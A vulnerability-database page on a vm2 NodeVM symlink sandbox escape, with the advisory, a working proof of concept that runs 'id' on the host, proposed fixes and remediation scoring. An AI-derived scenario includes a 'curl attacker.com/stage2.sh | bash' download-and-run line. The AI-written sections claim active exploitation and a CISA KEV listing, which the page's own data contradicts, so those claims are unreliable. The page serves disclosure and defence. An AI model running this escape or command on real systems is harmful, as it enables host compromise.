Skip to main content

vm2 CVE-2026-43998

HIGH
Improper Link Resolution Before File Access (CWE-59)
2026-05-07 https://github.com/patriksimek/vm2 GHSA-cp6g-6699-wx9c
8.5
CVSS 3.1 · Vendor: https://github.com/patriksimek/vm2
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Submit code to NodeVM sandbox
  2. Delivery
    Require whitelisted package name
  3. Exploit
    Symlink path passes validation check
  4. Install
    Node require() follows symlink outside root
  5. C2
    Load attacker-controlled module in host context
  6. Execute
    Instantiate privileged inner VM with child_process
  7. Impact
    Execute arbitrary shell commands
  8. Step 8
    Compromise host system

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Symlink resolution safety
Exploitation Conditions

Attack requires the ability to submit code to a vm2 NodeVM sandbox (the intended use case for vm2) AND the presence of filesystem symlinks inside the configured require.root directory that point to targets outside the root. The symlink precondition is automatically satisfied in deployments using pnpm package manager (where ALL node_modules entries are symlinks to a central .pnpm content-addressable store), npm workspaces (which create symlinks between workspace packages), or npm link for local development. The NodeVM must be configured with context: 'host' for loaded modules (default behavior) and must allow at least one package name via the external whitelist or external: true. No special user interaction, non-default Node.js configuration, or elevated privileges are required. Exploitation is network-accessible (AV:N) because sandboxed code is typically received from external sources like user-submitted plugins or serverless function definitions. Attack complexity is rated High (AC:H) in CVSS because symlink presence is not guaranteed in all deployments, but this rating understates real-world risk: the precondition is met by default in any pnpm deployment and is common in modern Node.js development workflows. Exploitation is NOT limited by authentication beyond the Low privilege level of being able to submit code to the sandbox. The vulnerability affects default configurations of vm2 NodeVM when deployed with modern Node.js package managers.

Impact

This represents a critical real-world risk with confirmed active exploitation (CISA KEV) and publicly available proof-of-concept code. The CVSS 3.1 score of 8.5 (AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H) accurately reflects the severity: network-accessible attack vector with changed scope (sandbox boundary breach) and high impact across all CIA triad dimensions. Attack Complexity is rated High because exploitation requires symlinks inside the allowed root pointing outside it, but this precondition is actually COMMON in modern Node.js deployments - pnpm's architecture creates these symlinks by design, and npm workspaces/npm link are standard development workflows. The PR:L (Privileges Required: Low) rating is correct: the attacker only needs the ability to submit code to the sandbox, which is the intended use case for vm2. The Changed Scope rating is critical - the vulnerability breaks the fundamental security boundary vm2 is designed to enforce. EPSS data is not provided, but KEV listing indicates observed exploitation in the wild. The GitHub advisory confirms this is one of thirteen vulnerabilities closed in the coordinated security release, several of which are described as 'full sandbox-escape RCE primitives.' Real-world exploitation is straightforward: any application using vm2 to sandbox user-submitted plugins, serverless functions, or script execution is vulnerable if deployed with pnpm or workspace configurations. The proof-of-concept demonstrates a clean sandbox escape requiring only 15 lines of attacker-controlled code. Priority for remediation should be CRITICAL for any deployment running untrusted code through vm2, regardless of CVSS Attack Complexity rating, because the 'High' complexity precondition is met by default in many production environments. No compensating controls exist - the symlink conditions are created by the package manager, not controlled by the application developer.

Exploit ScenarioDerived

An attacker deploys a malicious plugin to a Node.js application that uses vm2 to sandbox user-submitted code, where the production environment uses pnpm for package management. The pnpm architecture creates symlinks in node_modules pointing to the centralized .pnpm store. The attacker's plugin code calls require('safe-looking-package'), which the application's vm2 configuration allows via the external whitelist. Because pnpm implements node_modules as symlinks, the path /app/sandbox-root/node_modules/safe-looking-package is actually a symlink to /app/.pnpm/safe-looking-package@1.0.0/node_modules/safe-looking-package. The vm2 validation checks the symlink path against the configured root (/app/sandbox-root/) and approves it, but Node's require follows the symlink to load code from .pnpm outside the root. The attacker's package exports a function that instantiates a new privileged NodeVM with require: {builtin: ['child_process']} and executes child_process.execSync('curl attacker.com/stage2.sh | bash') to download and run a remote access trojan, achieving full host compromise. Publicly available proof-of-concept code exists demonstrating the complete attack chain.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 07, 2026

Remote code execution in vm2 NodeVM sandbox allows untrusted code to bypass require.root path restrictions and load arbitrary modules from outside the allowed root directory via symlink traversal. The vulnerability exploits a check/use path discrepancy: path validation uses path.resolve() which does not dereference symlinks, but module loading uses Node's native require() which does follow symlinks. Attackers with ability to submit code to the sandbox (the intended use case) can load host-realm modules like vm2 itself or child_process to achieve arbitrary command execution. Confirmed actively exploited (CISA KEV) with publicly available exploit code. Common in production environments using pnpm (where ALL node_modules are symlinks), npm workspaces, or npm link. Vendor-released patch: vm2 3.11.0.

RemediationAI

Upgrade to vm2 version 3.11.0 immediately. The patch implements symlink dereferencing using fs.realpathSync() before path validation, ensuring both the check and the subsequent module load operate on the actual filesystem location rather than the symlink path. The fix adds a realpath() method to the FileSystem adapter contract and dereferences both candidate module paths and configured root paths at validation time. For the vm2 3.11.0 upgrade: run npm update vm2 or pnpm update vm2 and verify the installed version with npm list vm2. Review the release notes at https://github.com/patriksimek/vm2/releases/tag/v3.11.0 as the coordinated release also closes twelve additional sandbox-escape vulnerabilities and introduces a new bufferAllocLimit configuration option. No workarounds exist that do not require code changes to vm2 itself. Organizations unable to upgrade immediately should consider these compensating controls with their trade-offs: Disable pnpm/workspaces/npm-link and use only traditional node_modules with copied packages (eliminates symlink attack surface but breaks many modern development workflows and increases disk usage). Run vm2 sandboxes inside OS-level containers or VMs with restricted filesystem mounts (adds operational complexity and performance overhead but provides defense-in-depth if sandbox escapes occur). Implement mandatory access control policies (AppArmor/SELinux) that prevent the Node.js process from following symlinks outside the intended directory tree (requires per-deployment tuning and may break legitimate symlink usage). Do NOT rely on disabling specific packages via the external allowlist - attackers can use any host-context module with dangerous capabilities, not just the ones in the proof-of-concept. The only effective mitigation is upgrading to 3.11.0.

Affected Packages

npm vm2 fix: 3.11.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vm2 library provides JavaScript sandbox environments for executing untrusted code via NodeVM and VM classes. The require.root option restricts which directories sandboxed code can load modules from, intended to prevent access to host-system capabilities. The vulnerability stems from CWE-59 (Improper Link Resolution Before File Access) in the module resolution chain. Specifically, CustomResolver.isPathAllowed() in lib/resolver-compat.js validates paths using path.resolve() from Node.js core, which normalizes paths (resolves . and ..) but does NOT dereference symbolic links. The validation performs a string-prefix check to ensure the resolved path starts with the allowed root. However, the actual module loading delegates to Node's native require() via CustomResolver.loadJS(), and Node's require implementation DOES follow symlinks when loading modules. This creates a time-of-check-time-of-use (TOCTOU) vulnerability where a symlink at /allowed/root/node_modules/safe pointing to /outside/root/malicious passes validation as /allowed/root/node_modules/safe but loads code from /outside/root/malicious. The vulnerability is pervasive because no symlink-aware functions (realpath, readlink, lstat) exist anywhere in the lib/ directory codebase. Modern Node.js package managers exacerbate this: pnpm implements all node_modules as symlinks to a central content-addressable store, npm workspaces creates symlinks between workspace packages, and npm link creates symlinks for local development. The affected package is pkg:npm/vm2, confirmed vulnerable in version 3.10.5 and earlier.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/patriksimek/vm2) PRIMARY 8.5 HIGH
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Red Hat 8.5 HIGH

Primary rating from Vendor (https://github.com/patriksimek/vm2).

CVSS VectorVendor: https://github.com/patriksimek/vm2

Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

NodeVM's require.root path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses path.resolve() (which does not dereference symlinks) but module loading uses Node's native require() (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution.

Severity

High (CVSS 3.1: 8.5)

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

  • Attack Vector: Network - sandboxed code is typically received from external sources (user-submitted scripts, plugin code)
  • Attack Complexity: High - requires symlinks inside the allowed root that point outside it; common with pnpm, npm workspaces, and npm link but not guaranteed in all deployments
  • Privileges Required: Low - attacker needs only the ability to submit code to the sandbox, which is the intended use case
  • User Interaction: None
  • Scope: Changed - the vulnerability is in the sandbox boundary; impact is on the host system
  • Confidentiality Impact: High - arbitrary file read via host command execution
  • Integrity Impact: High - arbitrary command execution on the host
  • Availability Impact: High - arbitrary command execution on the host

Affected Component

  • lib/resolver-compat.js - CustomResolver.isPathAllowed() (line 53-60)
  • lib/resolver-compat.js - CustomResolver.loadJS() (line 62-66)
  • lib/filesystem.js - DefaultFileSystem.resolve() (line 8-10)

CWE

  • CWE-59: Improper Link Resolution Before File Access

Description

Root Cause: Check/Use Path Discrepancy

The isPathAllowed method validates whether a resolved filename falls within the allowed root paths using a string-prefix check:

js
// lib/resolver-compat.js:53-60
isPathAllowed(filename) {
    return this.rootPaths === undefined || this.rootPaths.some(path => {
        if (!filename.startsWith(path)) return false;
        const len = path.length;
        if (filename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true;
        return this.fs.isSeparator(filename[len]);
    });
}

The filename passed to this check is resolved via DefaultFileSystem.resolve(), which uses path.resolve():

js
// lib/filesystem.js:8-10
resolve(path) {
    return pa.resolve(path);
}

path.resolve() normalizes the path (resolves ., .., and makes it absolute) but does NOT dereference symlinks. A symlink at /root/node_modules/safe pointing to /outside/root/malicious resolves to /root/node_modules/safe - passing the prefix check.

However, the actual module loading uses Node's native require(), which does follow symlinks:

js
// lib/resolver-compat.js:62-66
loadJS(vm, mod, filename) {
    if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);
    const m = this.hostRequire(filename);
    mod.exports = vm.readonly(m);
}

No Symlink Defenses Exist

A search for realpath, readlink, lstat, or any symlink-aware function across the entire lib/ directory returns zero results. Neither DefaultFileSystem nor VMFileSystem provides a realpath method. The root paths themselves are also resolved without dereferencing symlinks:

js
// lib/resolver-compat.js:218
const checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => fsOpt.resolve(f)) : undefined;

Full Execution Chain

  1. Host creates NodeVM with require: { external: ['safe'], root: '/tmp/root', context: 'host' }
  2. A symlink exists: /tmp/root/node_modules/safe → /outside/root/vm2/ (e.g., via pnpm, npm link, or workspaces)
  3. Sandbox code calls require('safe')
  4. DefaultResolver.resolveFull() resolves to /tmp/root/node_modules/safe/index.js
  5. tryFile() calls this.fs.resolve(x) → path.resolve() → /tmp/root/node_modules/safe/index.js (symlink NOT followed)
  6. isPathAllowed() checks if path starts with /tmp/root/ → PASSES
  7. loadJS() detects context: 'host', calls this.hostRequire(filename)
  8. Node's require() follows the symlink, loads from /outside/root/vm2/index.js
  9. Module executes in host realm; exports proxied to sandbox
  10. Sandbox uses loaded module to escalate (e.g., creates a new privileged NodeVM with child_process)

Proof of Concept

js
const path = require('path');
const fs = require('fs');
const os = require('os');
const { NodeVM } = require('vm2');

// Create an "allowed" root directory
const root = fs.mkdtempSync(path.join(os.tmpdir(), 'vm2-root-'));
fs.mkdirSync(path.join(root, 'node_modules'), { recursive: true });

// Symlink inside root pointing to vm2 package outside root
// In real deployments: pnpm, npm link, workspaces create these automatically
const link = path.join(root, 'node_modules', 'safe');
fs.symlinkSync(path.resolve(__dirname), link, 'dir');

const vm = new NodeVM({
  require: {
    external: ['safe'],
    root,
    context: 'host',
    builtin: [],       // no builtins allowed
  },
});

// Sandbox code loads vm2 from outside root via symlink,
// creates a privileged inner NodeVM to get child_process
const out = vm.run(`
  const { NodeVM } = require('safe');
  const inner = new NodeVM({ require: { builtin: ['child_process'] } });
  module.exports = inner.run(
    "module.exports = require('child_process').execSync('id').toString()",
    'inner.js'
  );
`, path.join(root, 'vm.js'));

console.log(out.trim()); // prints host uid/gid - RCE achieved

Impact

  • Sandbox escape: Untrusted sandboxed code can load arbitrary modules from outside the allowed root directory in host context.
  • Remote code execution: By loading vm2 itself (or any module with dangerous capabilities), the attacker can execute arbitrary commands on the host system.
  • Bypasses require.root entirely: The root restriction - the primary defense against module loading attacks - provides no protection when symlinks are present.
  • Common in production: pnpm (where ALL node_modules are symlinks), npm workspaces, and npm link all create the symlink conditions required for exploitation.
  • Silent failure: No error or warning is raised when a symlink traverses outside the root.

Recommended Remediation

Option 1: Dereference symlinks with fs.realpathSync before path validation (Preferred)

Resolve symlinks before checking against root paths, so the validation operates on the actual filesystem location:

js
// lib/filesystem.js - add a realpath method
const fs = require('fs');

class DefaultFileSystem {
    resolve(path) {
        return pa.resolve(path);
    }

    realpath(path) {
        return fs.realpathSync(path);
    }
    // ... rest unchanged
}
js
// lib/resolver-compat.js - use realpath in isPathAllowed or before calling it
isPathAllowed(filename) {
    let realFilename;
    try {
        realFilename = this.fs.realpath(filename);
    } catch (e) {
        return false; // file doesn't exist or can't be resolved
    }
    return this.rootPaths === undefined || this.rootPaths.some(path => {
        if (!realFilename.startsWith(path)) return false;
        const len = path.length;
        if (realFilename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true;
        return this.fs.isSeparator(realFilename[len]);
    });
}

Also dereference root paths at construction time:

js
// lib/resolver-compat.js:218
const checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => {
    const resolved = fsOpt.resolve(f);
    try { return fs.realpathSync(resolved); } catch (e) { return resolved; }
}) : undefined;

Tradeoff: realpathSync adds a syscall per path check. Cache results to minimize overhead.

Option 2: Validate the realpath in makeExtensionHandler / checkAccess

Add a realpath check at the enforcement point in Resolver.makeExtensionHandler:

js
makeExtensionHandler(vm, name) {
    return (mod, filename) => {
        filename = this.fs.resolve(filename);
        // Dereference symlinks before access check
        try {
            const realFilename = fs.realpathSync(filename);
            if (realFilename !== filename) {
                // Filename was a symlink - validate the real path too
                this.checkAccess(mod, realFilename);
            }
        } catch (e) {
            throw new VMError(`Access denied to require '${filename}'`, 'EDENIED');
        }
        this.checkAccess(mod, filename);
        this[name](vm, mod, filename);
    };
}

Tradeoff: Fixes it at a higher layer but doesn't protect custom resolvers that bypass makeExtensionHandler.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 11 npm packages depend on vm2 (1 direct, 10 indirect)

Ecosystem-wide dependent count for version 3.10.5.

Executive ViewAI

Why It Matters

vm2 NodeVM contains a critical sandbox escape vulnerability (CVE-2026-43998) that allows untrusted code execution to bypass path restrictions and achieve arbitrary command execution on the host system. Organizations using vm2 to sandbox third-party or user-submitted code-particularly with pnpm, npm workspaces, or npm link configurations-face immediate risk of complete system compromise. This vulnerability is actively exploited in the wild with public exploit code available.

Business Impact: Severe
Compensating Controls

Vendor-released patch: vm2 3.11.0. If immediate patching is not feasible: (1) Disable NodeVM sandbox functionality entirely and reject sandboxed code execution until patched; (2) Restrict network access and file system permissions for processes running vm2 using OS-level controls (seccomp, AppArmor, or SELinux); (3) Remove or audit symlinks in node_modules directories and enforce non-symlink module resolution where possible; (4) Implement host-level monitoring for unexpected child_process spawning or file access from NodeVM execution contexts. These mitigations reduce but do not eliminate risk.

Threat Intelligence Overview

EPSS Score
0.2%
Top 58% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

42
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

pkg:npm/vm2
CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy